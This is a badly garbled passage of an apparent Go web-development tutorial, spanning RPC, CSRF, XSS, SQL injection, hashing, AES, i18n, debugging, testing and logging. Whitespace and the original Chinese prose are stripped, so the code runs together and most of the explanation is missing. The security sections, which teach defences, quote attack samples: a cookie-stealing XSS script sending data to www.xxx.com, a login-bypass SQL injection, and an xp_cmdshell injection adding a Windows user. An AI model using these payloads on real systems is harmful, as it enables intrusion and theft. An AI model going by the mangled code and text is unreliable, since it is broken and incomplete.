funcmain(){iflen(os.Args)!=2{fmt.Println("Usage:",os.Args[0],"server")os.Exit(1)}serverAddress:=os.Args[1]
client,err:=rpc.DialHTTP("tcp",serverAddress+":1234")iferr!=nil{log.Fatal("dialing:",err)}//Synchronouscallargs:=Args{17,8}varreplyinterr=client.Call("Arith.Multiply",args,&reply)iferr!=nil{log.Fatal("aritherror:",err)}fmt.Printf("Arith:%d*%d=%d\n",args.A,args.B,reply)
varquotQuotienterr=client.Call("Arith.Divide",args,")iferr!=nil{log.Fatal("aritherror:",err)}fmt.Printf("Arith:%d/%d=%dremainder%d\n",args.A,args.B,quot.Quo,quot.Rem)
}
$./http_clocalhostArith:17*8=136Arith:17/8=2remainder1
struct client.CallCallGoRPC
TCPRPC
HTTPRPCTCPRPC
packagemain
import("errors""fmt""net""net/rpc""os")
typeArgsstruct{A,Bint}
typeQuotientstruct{Quo,Remint}
typeArithint
func(t*Arith)Multiply(args*Args,reply*int)error{*reply=args.A*args.Breturnnil}
func(t*Arith)Divide(args*Args,quo*Quotient)error{ifargs.B==0{returnerrors.New("dividebyzero")}quo.Quo=args.A/args.Bquo.Rem=args.A%args.Breturnnil}
funcmain(){
arith:=new(Arith)rpc.Register(arith)
tcpAddr,err:=net.ResolveTCPAddr("tcp",":1234")checkError(err)
listener,err:=net.ListenTCP("tcp",tcpAddr)checkError(err)
for{conn,err:=listener.Accept()iferr!=nil{continue}rpc.ServeConn(conn)}
}
funccheckError(errerror){iferr!=nil{fmt.Println("Fatalerror",err.Error())os.Exit(1)}}
httpTCPrpc
goroutinesocketgoroutineTCPRPC
packagemain
import("fmt""log""net/rpc""os")
typeArgsstruct{A,Bint}
typeQuotientstruct{Quo,Remint}
funcmain(){iflen(os.Args)!=2{fmt.Println("Usage:",os.Args[0],"server:port")os.Exit(1)}service:=os.Args[1]
client,err:=rpc.Dial("tcp",service)iferr!=nil{log.Fatal("dialing:",err)}//Synchronouscallargs:=Args{17,8}varreplyinterr=client.Call("Arith.Multiply",args,&reply)iferr!=nil{log.Fatal("aritherror:",err)}fmt.Printf("Arith:%d*%d=%d\n",args.A,args.B,reply)
varquotQuotienterr=client.Call("Arith.Divide",args,")iferr!=nil{log.Fatal("aritherror:",err)}fmt.Printf("Arith:%d/%d=%dremainder%d\n",args.A,args.B,quot.Quo,quot.Rem)
}
httpDialHTTPDial(tcp)
JSONRPC
JSONRPCJSONgobRPCGojson-rpc
packagemain
import("errors""fmt""net""net/rpc""net/rpc/jsonrpc""os")
typeArgsstruct{A,Bint}
typeQuotientstruct{Quo,Remint}
typeArithint
func(t*Arith)Multiply(args*Args,reply*int)error{*reply=args.A*args.Breturnnil}
func(t*Arith)Divide(args*Args,quo*Quotient)error{ifargs.B==0{returnerrors.New("dividebyzero")}quo.Quo=args.A/args.Bquo.Rem=args.A%args.Breturnnil}
funcmain(){
arith:=new(Arith)rpc.Register(arith)
tcpAddr,err:=net.ResolveTCPAddr("tcp",":1234")checkError(err)
listener,err:=net.ListenTCP("tcp",tcpAddr)checkError(err)
for{conn,err:=listener.Accept()
iferr!=nil{continue}jsonrpc.ServeConn(conn)}
}
funccheckError(errerror){iferr!=nil{fmt.Println("Fatalerror",err.Error())os.Exit(1)}}
json-rpcTCPHTTP
packagemain
import("fmt""log""net/rpc/jsonrpc""os")
typeArgsstruct{A,Bint}
typeQuotientstruct{Quo,Remint}
funcmain(){iflen(os.Args)!=2{fmt.Println("Usage:",os.Args[0],"server:port")log.Fatal(1)}service:=os.Args[1]
client,err:=jsonrpc.Dial("tcp",service)iferr!=nil{log.Fatal("dialing:",err)}//Synchronouscallargs:=Args{17,8}varreplyinterr=client.Call("Arith.Multiply",args,&reply)iferr!=nil{log.Fatal("aritherror:",err)}fmt.Printf("Arith:%d*%d=%d\n",args.A,args.B,reply)
varquotQuotienterr=client.Call("Arith.Divide",args,")iferr!=nil{log.Fatal("aritherror:",err)}fmt.Printf("Arith:%d/%d=%dremainder%d\n",args.A,args.B,quot.Quo,quot.Rem)
}
GoRPCHTTPTCPJSONRPCWebGoSOAPRPC
links
: REST:
8.5SocketsocketHTML5WebSocketpush
links
:: CSRF
9.1CSRF
CSRF
CSRFCross-siterequestforgery""oneclickattack/sessionridingCSRF/XSRF
CSRFQQ(URL)WebQQ
CSRFCSRFWeb
Cookie
CSRF
CSRFWebWeb
CSRF
/
CSRFCSRF
CSRF
1GET,POSTCookie2GET
RESTWebWebGETPOSTCookie
1GET
2POST
Go
mux.Get("/user/:uid",getuser)mux.Post("/user/:uid",modifyuser)
POSTGETGETCSRFPOST
GET
cookietokenCookie()CookieXSSXSSCAPTCHACAPTCHA
4.4”"
token
h:=md5.New()io.WriteString(h,strconv.FormatInt(crutime,10))io.WriteString(h,"ganraomaxxxxxxxxx")token:=fmt.Sprintf("%x",h.Sum(nil))
t,_:=template.ParseFiles("login.gtpl")t.Execute(w,token)
token
<inputtype="hidden"name="token"value="{{.}}">
token
r.ParseForm()token:=r.Form.Get("token")iftoken!=""{//token}else{//token}
POSTtoken211
CSRFWebWeb""""Web
links
::
9.2WebWeb
123
""""
GoGo rParseFormPOSTGET r.Form r.Header( r.Header.Get("Accept-Charset"))
"0"
strconvRequest r.FormAtoiParseBoolParseFloatParseInt
string TrimToLowerToTitle
regexpEmail
WebMap(CleanMap)
CleamMapMapCleanMap
<formaction="/whoami"method="POST"><selectname="name"><optionvalue="astaxie">astaxie</option><optionvalue="herry">herry</option><optionvalue="marry">marry</option></select><inputtype="submit"/></form>
POST name=attack
r.ParseForm()name:=r.Form.Get("name")CleanMap:=make(map[string]interface{},0)ifname=="astaxie"||name=="herry"||name=="marry"{CleanMap["name"]=name}
CleamMapname astaxieherrymarry`CleanMapCleanMap["name"]else
r.ParseForm()username:=r.Form.Get("username")CleanMap:=make(map[string]interface{},0)ifok,_:=regexp.MatchString("^[a-zA-Z0-9].$",username);ok{CleanMap["username"]=username}
WebCSRFXSSSQL
links
: CSRF: XSS
9.3XSSWeb"CrossSiteScripting,XSS"
XSS
XSS(Cross-SiteScripting)(CascadingStyleSheets,CSS)XSSXSS()XSSWebXSScookie
XSSXSSHtmlWeb->->Web->XSSURL
XSS
cookieFlashcrossdomainJavaiframeframeXMLHttpRequestFlashXSS
PVXSSDDoS
XSS
WebHTML">""<"/XSS
XSSXSSurl http://127.0.0.1/?name=astaxie
helloastaxie
http://127.0.0.1/?name=<script>alert('astaxie,xss')</script>urlXSSCookiename=<script>document.location.href='http://www.xxx.com/cookie?'+document.cookie</script>urlcookie www.xxx.comURLURLURLurlurlcookiecookieWebsleuth
XSS" XSS"
XSS
XSS
XSS
XSSGoHTML
text/templateHTMLEscapeStringJSEscapeString
HTTP
w.Header().Set("Content-Type","text/javascript")
htmljavascript
XSSWebXSS
links
:: SQL
9.4SQL
SQL
SQLSQLInjectionWeb
SQLSQL
SQL
WebSQLSQLSQLSQL
SQL
<formaction="/login"method="POST"><p>Username:<inputtype="text"name="username"/></p><p>Password:<inputtype="password"name="password"/></p><p><inputtype="submit"value="" /></p></form>
SQL
username:=r.Form.Get("username")password:=r.Form.Get("password")sql:="SELECT*FROMuserWHEREusername='"+username+"'ANDpassword='"+password+"'"
myuser'or'foo'='foo'--
SQL
SELECT*FROMuserWHEREusername='myuser'or'foo'='foo'--''ANDpassword='xxx'
SQL--
MSSQLSQLMSSQL
sql:="SELECT*FROMproductsWHEREnameLIKE'%"+prod+"%'"Db.Exec(sql)
a%'execmaster..xp_cmdshell'netusertesttestpass/ADD'--prodsql
sql:="SELECT*FROMproductsWHEREnameLIKE'%a%'execmaster..xp_cmdshell'netusertesttestpass/ADD'--%'"
MSSQLSQLsaMSSQLSERVER
SQL
SQLBBSDiscuzphpwindphpcmsSQL
hiddencookie
SQLSQL
1. WebSQL2. regexpstrconv3. '"\&*;Go text/template HTMLEscapeString
4. SQLSQL database/sqlPrepareQueryExec(querystring,args...interface{})
5. SQLSQLsqlmapSQLninja6. SQLSQLSQL
SQLWebWeb
links
: XSS
:
9.5-Linkedin,CSDN800
Web
(digest)""SHA-256SHA-1MD5
Go
//import"crypto/sha256"h:=sha256.New()io.WriteString(h,"Hismoneyistwicetainted:'taintyoursand'taintmine.")fmt.Printf("%x",h.Sum(nil))
//import"crypto/sha1"h:=sha1.New()io.WriteString(h,"Hismoneyistwicetainted:'taintyoursand'taintmine.")fmt.Printf("%x",h.Sum(nil))
//import"crypto/md5"h:=md5.New()io.WriteString(h,"" )fmt.Printf("%x",h.Sum(nil))
12
rainbowtable
rainbowtable
--
MD5MD5
"""salt"MD5MD5MD5
//import"crypto/md5"//abc123456h:=md5.New()io.WriteString(h,"" )
//pwmd5e10adc3949ba59abbe56e057f20f883epwmd5:=fmt.Sprintf("%x",h.Sum(nil))
//saltsalt1=@#$%salt2=^&*()salt1:="@#$%"salt2:="^&*()"
//salt1++salt2+MD5io.WriteString(h,salt1)io.WriteString(h,"abc")io.WriteString(h,salt2)io.WriteString(h,pwmd5)
last:=fmt.Sprintf("%x",h.Sum(nil))
salt
"" rainbowtable
rainbowtable
rainbowtable
scryptscryptFreeBSDColinPercivalTarsnap
Go http://code.google.com/p/go/source/browse?repo=crypto#hg%2Fscrypt
dk:=scrypt.Key([]byte("somepassword"),[]byte(salt),16384,8,1,32)
1LastPass/2
links
: SQL: /
9.6 /
/
Gocrypto
crypto/aes:AES(AdvancedEncryptionStandard)Rijndaelcrypto/desDES(DataEncryptionStandard)AES
aes
packagemain
import("crypto/aes""crypto/cipher""fmt""os")
varcommonIV=[]byte{0x00,0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08,0x09,0x0a,0x0b,0x0c,0x0d,0x0e,0x0f}
funcmain(){//plaintext:=[]byte("MynameisAstaxie")//plaintextiflen(os.Args)>1{plaintext=[]byte(os.Args[1])}
//aeskey_text:="astaxie12798akljzmknm.ahkjkljl;k"iflen(os.Args)>2{key_text=os.Args[2]}
fmt.Println(len(key_text))
//aesc,err:=aes.NewCipher([]byte(key_text))iferr!=nil{fmt.Printf("Error:NewCipher(%dbytes)=%s",len(key_text)
,err)os.Exit(-1)}
//cfb:=cipher.NewCFBEncrypter(c,commonIV)ciphertext:=make([]byte,len(plaintext))cfb.XORKeyStream(ciphertext,plaintext)fmt.Printf("%s=>%x\n",plaintext,ciphertext)
//cfbdec:=cipher.NewCFBDecrypter(c,commonIV)plaintextCopy:=make([]byte,len(plaintext))cfbdec.XORKeyStream(plaintextCopy,ciphertext)fmt.Printf("%x=>%s\n",ciphertext,plaintextCopy)}
aes.NewCipher(key162432[]byteAES-128,AES-192AES-256)cipher.Block
typeBlockinterface{//BlockSizereturnsthecipher'sblocksize.BlockSize()int
//Encryptencryptsthefirstblockinsrcintodst.//Dstandsrcmaypointatthesamememory.Encrypt(dst,src[]byte)
//Decryptdecryptsthefirstblockinsrcintodst.//Dstandsrcmaypointatthesamememory.Decrypt(dst,src[]byte)}
/Go
Web/AES
links
::
9.7CSRFXSSSQLWebWeb/Gobase64aesdes
WebWebWeb
links
: /:
10Web
Internationalizationandlocalization,i18nL10N
Goi18ngo-i18nGoi18n
local
1locale
2locale
3locale
localelocalelocalei18n
links
::
10.1
Locale
Localelocale"en""zh""en_US""en_UK""zh_CN.gb2312"gb2312
GO"UTF-8"i18nlocalei18nlocale
LinuxSolarislocale-aBSDlocale /usr/share/locale
Locale
locale()localelocale
Locale
Locale www.asta.com() www.asta.cnlocale
URL
GomapSEO
locale
ifr.Host=="www.asta.com"{i18n.SetLocale("en")}elseifr.Host=="www.asta.cn"{i18n.SetLocale("zh-CN")}elseifr.Host=="www.asta.tw"{i18n.SetLocale("zh-TW")}
"en.asta.com""cn.asta.com"
prefix:=strings.Split(r.Host,".")
ifprefix[0]=="en"{i18n.SetLocale("en")}elseifprefix[0]=="cn"{i18n.SetLocale("zh-CN")}elseifprefix[0]=="tw"{i18n.SetLocale("zh-TW")}
LocaleWebLocaleurl
Locale
LocaleURL www.asta.com/hello?locale=zhwww.asta.com/zh/helloi18n.SetLocale(params["locale"])
LocaleRESTfullinklocaleurllink locale=params["locale"]
URLRESTful www.asta.com/en/books() www.asta.com/zh/books()URLSEOURLURLrouterlocale(RESTrouter)
mux.Get("/:locale/books",listbook)
URLLocale()IPWeb
Accept-Language
HTTP Accept-LanguageGo Accept-Languge
AL:=r.Header.Get("Accept-Language")ifAL=="en"{i18n.SetLocale("en")}elseifAL=="zh-CN"{i18n.SetLocale("zh-CN")}elseifAL=="zh-TW"{i18n.SetLocale("zh-TW")}
IP
IPIPIPGeoIPLiteCountryIPIP
profile
localeprofilelocalelocale
LocaleLocale
links
::
10.2LocaleLocaleLocaleGoJSON(en.jsonja-JP.json)
Webmapkey-valuemap
packagemain
import"fmt"
varlocalesmap[string]map[string]string
funcmain(){locales=make(map[string]map[string]string,2)en:=make(map[string]string,10)en["pea"]="pea"en["bean"]="bean"
locales["en"]=encn:=make(map[string]string,10)cn["pea"]=""cn["bean"]=""locales["ja-JP"]=cnlang:="ja-JP"fmt.Println(msg(lang,"pea"))fmt.Println(msg(lang,"bean"))}
funcmsg(locale,keystring)string{ifv,ok:=locales[locale];ok{ifv2,ok:=v[key];ok{returnv2}}return""}
localekeylang en
key-value"Iam30yearsold""30"30 fmt.Printf
en["howold"]="Iam%dyearsold"cn["howold"]="%d"
fmt.Printf(msg(lang,"howold"),30)
JSON json.Unmarshalmap
Locale 20131024231113JST WedOct2423:11:13CST2012
1.2.
$GOROOT/lib/timetimeinfo.ziplocalelocaletime.LoadLocation(namestring)locale Asia/ShanghaiAmerica/Chicago
time.NowTime():
en["time_zone"]="America/Chicago"cn["time_zone"]="Asia/Tokyo"
loc,_:=time.LoadLocation(msg(lang,"time_zone"))t:=time.Now()t=t.In(loc)fmt.Println(t.Format(time.RFC3339))
:
en["date_format"]="%Y-%m-%d%H:%M:%S"cn["date_format"]="%Y%m%d%H%M%S"
fmt.Println(date(msg(lang,"date_format"),t))
funcdate(fomatestring,ttime.Time)string{year,month,day=t.Date()hour,min,sec=t.Clock()//%Y%m%d%H%M%S//%Y 2012//%m 10//%d 24}
:
en["money"]="USD%d"cn["money"]="%d"
fmt.Println(date(msg(lang,"date_format"),100))
funcmoney_format(fomatestring,moneyint64)string{returnfmt.Sprintf(fomate,money)}
Localecssjslocale
views|--en//|--images//|--js//JS|--css//cssindex.tpl//login.tpl//|--ja-JP//|--images|--js|--cssindex.tpllogin.tpl
s1,_:=template.ParseFiles("views"+lang+"index.tpl")VV.Lang=langs1.Execute(os.Stdout,VV)
index.tpl
//js<scripttype="text/javascript"src="views/{{.VV.Lang}}/js/jquery/jquery-1.8.0.min.js"></script>//css<linkhref="views/{{.VV.Lang}}/css/bootstrap-responsive.min.css"rel="stylesheet">//
<imgsrc="views/{{.VV.Lang}}/https://raw.githubusercontent.com/astaxie/build-web-application-with-golang/master/ja/images/btn.png">
langkey-valueLocaleLocalek fmtPrintfLocalelang
links
::
10.3Locale
Locale config/localesen.jsonja.json
#ja.json
{"ja":{"submit":"" ,"create":""}}
#en.json
{"en":{"submit":"Submit","create":"Create"}}
-- go-i18ngo-i18n config/localeslocale
Tr:=i18n.NewLocale()Tr.LoadPath("config/locales")
fmt.Println(Tr.Translate("submit"))//SubmitTr.SetLocale("ja")fmt.Println(Tr.Translate("submit"))//""
go-i18n
//go-i18n/locales
//zh.jsonen-jsonen-US.json
func(il*IL)loadDefaultTranslations(dirPathstring)error{dir,err:=os.Open(dirPath)iferr!=nil{returnerr}
deferdir.Close()
names,err:=dir.Readdirnames(-1)iferr!=nil{returnerr}
for_,name:=rangenames{fullPath:=path.Join(dirPath,name)
fi,err:=os.Stat(fullPath)iferr!=nil{returnerr}
iffi.IsDir(){iferr:=il.loadTranslations(fullPath);err!=nil{returnerr}}elseiflocale:=il.matchingLocaleFromFileName(name);locale!=""{file,err:=os.Open(fullPath)iferr!=nil{returnerr}deferfile.Close()
iferr:=il.loadTranslation(file,locale);err!=nil{returnerr}}}
returnnil}
//locale=zh
fmt.Println(Tr.Time(time.Now()))//200910820:37:58CST
fmt.Println(Tr.Time(time.Now(),"long"))//2009108
fmt.Println(Tr.Money(11.11))//:11.11
templatemapfunc
"Tr.Translate""Tr.Time""Tr.Money"Gomapfunc
1.
Tr.TranslatemapFunc
funcI18nT(args...interface{})string{ok:=falsevarsstringiflen(args)==1{s,ok=args[0].(string)}if!ok{s=fmt.Sprint(args...)}returnTr.Translate(s)}
t.Funcs(template.FuncMap{"T":I18nT})
{{.V.Submit|T}}
1.
Tr.TimemapFunc
funcI18nTimeDate(args...interface{})string{ok:=falsevarsstringiflen(args)==1{s,ok=args[0].(string)}if!ok{s=fmt.Sprint(args...)}returnTr.Time(s)}
t.Funcs(template.FuncMap{"TD":I18nTimeDate})
{{.V.Now|TD}}
1.
Tr.MoneymapFunc
funcI18nMoney(args...interface{})string{ok:=falsevarsstringiflen(args)==1{s,ok=args[0].(string)}if!ok{s=fmt.Sprint(args...)
}returnTr.Money(s)}
t.Funcs(template.FuncMap{"M":I18nMoney})
{{.V.Money|M}}
Webgo-i18nWebpipeline
links
::
10.4i18ngo-i18n https://github.com/astaxie/go-i18nWebGo
links
11.1GoCC-1NULLAPI:0Goerrorerrornil
funcOpen(namestring)(file*File,errerror)
os.Open log.Fatal
f,err:=os.Open("filename.ext")iferr!=nil{log.Fatal(err)}
os.OpenAPIerrorerrorWeberror
Error
error
typeerrorinterface{Error()string}
error/builtin/errorerrorserrorString
//errorStringisatrivialimplementationoferror.typeerrorStringstruct{sstring}
func(e*errorString)Error()string{returne.s
}
errors.NewerrorStringerror
//Newreturnsanerrorthatformatsasthegiventext.funcNew(textstring)error{return&errorString{text}}
errors.New
funcSqrt(ffloat64)(float64,error){iff<0{return0,errors.New("math:squarerootofnegativenumber")}//implementation}
Sqrtnon-nilerrorniltruefmt.Println(fmterrorError)
f,err:=Sqrt(-1)iferr!=nil{fmt.Println(err)}
Error
errorinterfaceJson
typeSyntaxErrorstruct{msgstring//Offsetint64//
}
func(e*SyntaxError)Error()string{returne.msg}
OffsetError
iferr:=dec.Decode(&val);err!=nil{ifserr,ok:=err.(*json.SyntaxError);ok{line,col:=findLine(f,serr.Offset)returnfmt.Errorf("%s:%d:%d:%v",f.Name(),line,col,err)}returnerr}
error
funcDecode()*SyntaxError{//err!=niltrue
varerr*SyntaxError//if{err=&SyntaxError{}}returnerr//errnilerr!=niltrue
}
http://golang.org/doc/faq#nil_error
Errornet
packagenet
typeErrorinterface{errorTimeout()bool//Istheerroratimeout?Temporary()bool//Istheerrortemporary?}
errnet.Errorsleep1
ifnerr,ok:=err.(net.Error);ok&&nerr.Temporary(){time.Sleep(1e9)continue}iferr!=nil{log.Fatal(err)}
GoC
funcinit(){http.HandleFunc("/view",viewRecord)}
funcviewRecord(whttp.ResponseWriter,r*http.Request){c:=appengine.NewContext(r)key:=datastore.NewKey(c,"Record",r.FormValue("id"),0,nil)record:=new(Record)iferr:=datastore.Get(c,key,record);err!=nil{http.Error(w,err.Error(),500)return}iferr:=viewTemplate.Execute(w,record);err!=nil{http.Error(w,err.Error(),500)}}
http.Error500HnadleFunc(HTTP)
typeappHandlerfunc(http.ResponseWriter,*http.Request)error
func(fnappHandler)ServeHTTP(whttp.ResponseWriter,r*http.Request){iferr:=fn(w,r);err!=nil{http.Error(w,err.Error(),500)}}
funcinit(){http.Handle("/view",appHandler(viewRecord))}
/view
funcviewRecord(whttp.ResponseWriter,r*http.Request)error{c:=appengine.NewContext(r)key:=datastore.NewKey(c,"Record",r.FormValue("id"),0,nil)record:=new(Record)iferr:=datastore.Get(c,key,record);err!=nil{returnerr}returnviewTemplate.Execute(w,record)}
500
typeappErrorstruct{ErrorerrorMessagestringCodeint}
typeappHandlerfunc(http.ResponseWriter,*http.Request)*appError
func(fnappHandler)ServeHTTP(whttp.ResponseWriter,r*http.Request){ife:=fn(w,r);e!=nil{//eis*appError,notos.Error.c:=appengine.NewContext(r)c.Errorf("%v",e.Error)http.Error(w,e.Message,e.Code)}}
funcviewRecord(whttp.ResponseWriter,r*http.Request)*appError{c:=appengine.NewContext(r)key:=datastore.NewKey(c,"Record",r.FormValue("id"),0,nil)record:=new(Record)iferr:=datastore.Get(c,key,record);err!=nil{return&appError{err,"Recordnotfound",404}}iferr:=viewTemplate.Execute(w,record);err!=nil{return&appError{err,"Can'tdisplayrecord",500}}returnnil}
view
GoerrorWeb
links
:
: GDB
11.2GDBGoPHPPythonGoPrintlnPythonpdb/ipdbJavascriptGDBGDBGo
GDB
GDBFSF()UNIXGDB
1.2.3.4.
GoGDB7.1
Go
1. -ldflags"-s"debug2. -gcflags"-N-l"GoGDB
GDB
list
l10 list15101510
10time.Sleep(2*time.Second)11c<-i12}
13close(c)14}1516funcmain(){17msg:="Startingmain"18fmt.Println(msg)19bus:=make(chanint)
break
b b1010
deleted infobreakpoints
NumTypeDispEnbAddressWhat2breakpointkeepy0x0000000000400dc3inmain.mainat/home/xiemengjun/gdb.go:23breakpointalreadyhit1time
backtrace
bt
#0main.main()at/home/xiemengjun/gdb.go:23#10x000000000040d61einruntime.main()at/home/xiemengjun/go/src/pkg/runtime/proc.c:244#20x000000000040d6c1inschedunlock()at/home/xiemengjun/go/src/pkg/runtime/proc.c:267#30x0000000000000000in??()
info
info
infolocals
infobreakpoints
infogoroutines
goroutine*
*1runningruntime.gosched*2syscallruntime.entersyscall3waitingruntime.gosched4runnableruntime.gosched
p$len()$cap()stringslicesmaps
whatis
whatismsg
type=structstring
next
n n
coutinue
c
setvariable
setvariable<var>=<value>
GDBGo
packagemain
import("fmt""time")
funccounting(cchan<-int){fori:=0;i<10;i++{time.Sleep(2*time.Second)c<-i}close(c)}
funcmain(){msg:="Startingmain"fmt.Println(msg)bus:=make(chanint)msg="startingagofunc"gocounting(bus)forcount:=rangebus{fmt.Println("count:",count)}}
gdbfile:
gobuild-gcflags"-N-l"gdbfile.go
gdb
gdbgdbfile
run
(gdb)runStartingprogram:/home/xiemengjun/gdbfileStartingmaincount:0count:1count:2count:3count:4count:5count:6count:7count:8count:9[LWP2771exited][Inferior1(process2771)exitednormally]
(gdb)b23Breakpoint1at0x400d8d:file/home/xiemengjun/gdbfile.go,line23.(gdb)runStartingprogram:/home/xiemengjun/gdbfileStartingmain[NewLWP3284][SwitchingtoLWP3284]
Breakpoint1,main.main()at/home/xiemengjun/gdbfile.go:2323fmt.Println("count:",count)
b2323 run list5
(gdb)list18fmt.Println(msg)19bus:=make(chanint)20msg="startingagofunc"21gocounting(bus)22forcount:=rangebus{23fmt.Println("count:",count)24}
25}
GDB
(gdb)infolocalscount=0bus=0xf840001a50(gdb)pcount$1=0(gdb)pbus$2=(chanint)0xf840001a50(gdb)whatisbustype=chanint
(gdb)cContinuing.count:0[NewLWP3303][SwitchingtoLWP3303]
Breakpoint1,main.main()at/home/xiemengjun/gdbfile.go:2323fmt.Println("count:",count)(gdb)cContinuing.count:1[SwitchingtoLWP3302]
Breakpoint1,main.main()at/home/xiemengjun/gdbfile.go:2323fmt.Println("count:",count)
cfor
(gdb)infolocalscount=2
bus=0xf840001a50(gdb)setvariablecount=9(gdb)infolocalscount=9bus=0xf840001a50(gdb)cContinuing.count:9[SwitchingtoLWP3302]
Breakpoint1,main.main()at/home/xiemengjun/gdbfile.go:2323fmt.Println("count:",count)
gorutinegoroutine
(gdb)infogoroutines*1runningruntime.gosched*2syscallruntime.entersyscall3waitingruntime.gosched4runnableruntime.gosched(gdb)goroutine1bt#00x000000000040e33binruntime.gosched()at/home/xiemengjun/go/src/pkg/runtime/proc.c:927#10x0000000000403091inruntime.chanrecv(c=void,ep=void,selected=void,received=void)at/home/xiemengjun/go/src/pkg/runtime/chan.c:327#20x000000000040316finruntime.chanrecv2(t=void,c=void)at/home/xiemengjun/go/src/pkg/runtime/chan.c:420#30x0000000000400d6finmain.main()at/home/xiemengjun/gdbfile.go:22#40x000000000040d0c7inruntime.main()at/home/xiemengjun/go/src/pkg/runtime/proc.c:244#50x000000000040d16ainschedunlock()at/home/xiemengjun/go/src/pkg/runtime/proc.c:267#60x0000000000000000in??()
goroutinesgoroutine
GDBGo runprintinfosetvariablecontinuelistbreakGoGDBGDB
links
:: Go
11.3GoGo
Go testinggotest testing
gotest gotest
2gotest.gogotest_test.go
1. gotest.go::
packagegotest
import("errors")
funcDivision(a,bfloat64)(float64,error){ifb==0{return0,errors.New("0" )}
returna/b,nil}
2. gotest_test.go::
_test.go gotest
testingimportTest
TestXxx() testing.T
: funcTestXxx(t*testing.T)Xxx[a-z] Testintdiv
testing.TErrorErrorfFailNowFatalFatalIf Log
packagegotest
import(
"testing"
)
funcTest_Division_1(t*testing.T){
ifi,e:=Division(6,2);i!=3||e!=nil{//tryaunittestonfunctiont.Error("" )//}else{t.Log("" )//}
}
funcTest_Division_2(t*testing.T){
t.Error("" )
}
gotest
---FAIL:Test_Division_2(0.00seconds)
gotest_test.go:16:
FAILexitstatus1FAILgotest0.013s2test gotest-v
===RUNTest_Division_1---PASS:Test_Division_1(0.00seconds)
gotest_test.go:11:1
===RUNTest_Division_2---FAIL:Test_Division_2(0.00seconds)
gotest_test.go:16:
FAILexitstatus1FAILgotest0.012s1 2Test_Division_22
funcTest_Division_2(t*testing.T){
if_,e:=Division(6,0);e==nil{//tryaunittestonfunctiont.Error("Divisiondidnotworkasexpected.")//
}else{
t.Log("onetestpassed.",e)//}
}gotest-v
===RUNTest_Division_1---PASS:Test_Division_1(0.00seconds)
gotest_test.go:11:1
===RUNTest_Division_2---PASS:Test_Division_2(0.00seconds)
gotest_test.go:20:onetestpassed.0
PASSokgotest0.013s
XXX
funcBenchmarkXXX(b*testing.B){...}
gotest -test.bench: -test.bench="test_name_regex"gotest-test.bench=".*"
testing.B.N
_test.go
webbench_test.go
packagegotest
import("testing")
funcBenchmark_Division(b*testing.B){fori:=0;i<b.N;i++{//useb.NforloopingDivision(4,5)}}
funcBenchmark_TimeConsumingFunction(b*testing.B){b.StopTimer()//
//,,,//
b.StartTimer()//fori:=0;i<b.N;i++{Division(4,5)}}
gotest-filewebbench_test.go-test.bench=".*"
PASSBenchmark_Division5000000007.76ns/opBenchmark_TimeConsumingFunction5000000007.80ns/opokgotest9.364s
TestXXX Benchmark_Division5000000007.76Benchmark_TimeConsumingFunctin5000000007.801
testing gotestgotest
links
links
::
12.1WebGologfmtpanicGoJavaC++log4jlog4cpp
https://github.com/cihub/seelog
seelog
seelogGo
XML
logrotateSMTP
seelogwiki
seelog
goget-ugithub.com/cihub/seelog
packagemain
importlog"github.com/cihub/seelog"
funcmain(){deferlog.Flush()log.Info("HellofromSeelog!")}
Hellofromseelogseelog
seelog
seelog
packagelogs
import("errors""fmt"seelog"github.com/cihub/seelog""io"
)
varLoggerseelog.LoggerInterface
funcloadAppConfig(){appConfig:=`<seelogminlevel="warn"><outputsformatid="common"><rollingfiletype="size"filename="/data/logs/roll.log"maxsize="100000"maxrolls="5"/><filterlevels="critical"><filepath="/data/logs/critical.log"formatid="critical"/><smtpformatid="criticalemail"senderaddress="[email protected]"sendername="ShortUrlAPI"hostname="smtp.gmail.com"hostport="587"username="mailusername"password="mailpassword"><recipientaddress="[email protected]"/></smtp></filter></outputs><formats><formatid="common"format="%Date/%Time[%LEV]%Msg%n"/><formatid="critical"format="%File%FullPath%Func%Msg%n"/><formatid="criticalemail"format="Criticalerroronourserver!\n%Time%Date%RelFile%Func%Msg\nSentbySeelog"/></formats></seelog>`logger,err:=seelog.LoggerFromConfigAsBytes([]byte(appConfig))iferr!=nil{fmt.Println(err)return}UseLogger(logger)}
funcinit(){DisableLog()loadAppConfig()}
//DisableLogdisablesalllibrarylogoutputfuncDisableLog(){Logger=seelog.Disabled
}
//UseLoggerusesaspecifiedseelog.LoggerInterfacetooutputlibrarylog.//UsethisfuncifyouareusingSeelogloggingsysteminyourapp.
funcUseLogger(newLoggerseelog.LoggerInterface){Logger=newLogger}
DisableLog
LoggerseelogLogger
loadAppConfig
seelogXML
seelog
minlevelmaxlevel
outputs
logrotatefiltercritical
formats
UseLogger
packagemain
import("net/http""project/logs""project/configs""project/routes")
funcmain(){addr,_:=configs.MainConfig.String("server","addr")logs.Logger.Info("Startserverat:%v",addr)err:=http.ListenAndServe(addr,routes.NewMux())logs.Logger.Critical("Servererr:%v",err)}
smtp
<smtpformatid="criticalemail"senderaddress="[email protected]"sendername="ShortUrlAPI"hostname="smtp.gmail.com"hostport="587"username="mailusername"password="mailpassword"><recipientaddress="[email protected]"/></smtp>
criticalemailSMTPrecipient
logs.Logger.Critical("testCriticalmessage")
CriticalEmail
"Info""warn"linuxgrep
#cat/data/logs/roll.log|grep"failedlogin"2012-12-1111:12:00WARN:failedloginattemptfrom11.22.33.44usernamepassword
Webseeloglogrotate
seelogseelogminlevel
links
::
12.2WebWeb
SQLSQL
ini
json
HTTP404401403503
2
Web(404.html)(error.html)errnil404
404.htmlerror.html
<htmllang="en"><head><metahttp-equiv="Content-Type"content="text/html;charset=utf-8"><title> </title><metaname="viewport"content="width=device-width,initia
l-scale=1.0">
</head><body><divclass="container"><divclass="row"><divclass="span10"><divclass="hero-unit"><h1>404!</h1><p>{{.ErrorInfo}}</p></div></div><!--/span--></div></div></body></html>
<htmllang="en"><head><metahttp-equiv="Content-Type"content="text/html;charset=utf-8"><title> </title><metaname="viewport"content="width=device-width,initial-scale=1.0">
</head><body><divclass="container"><divclass="row"><divclass="span10"><divclass="hero-unit"><h1> </h1><p>{{.ErrorInfo}}</p></div></div><!--/span--></div></div></body></html>
404
func(p*MyMux)ServeHTTP(whttp.ResponseWriter,r*http.Request){ifr.URL.Path=="/"{sayhelloName(w,r)return}NotFound404(w,r)return}
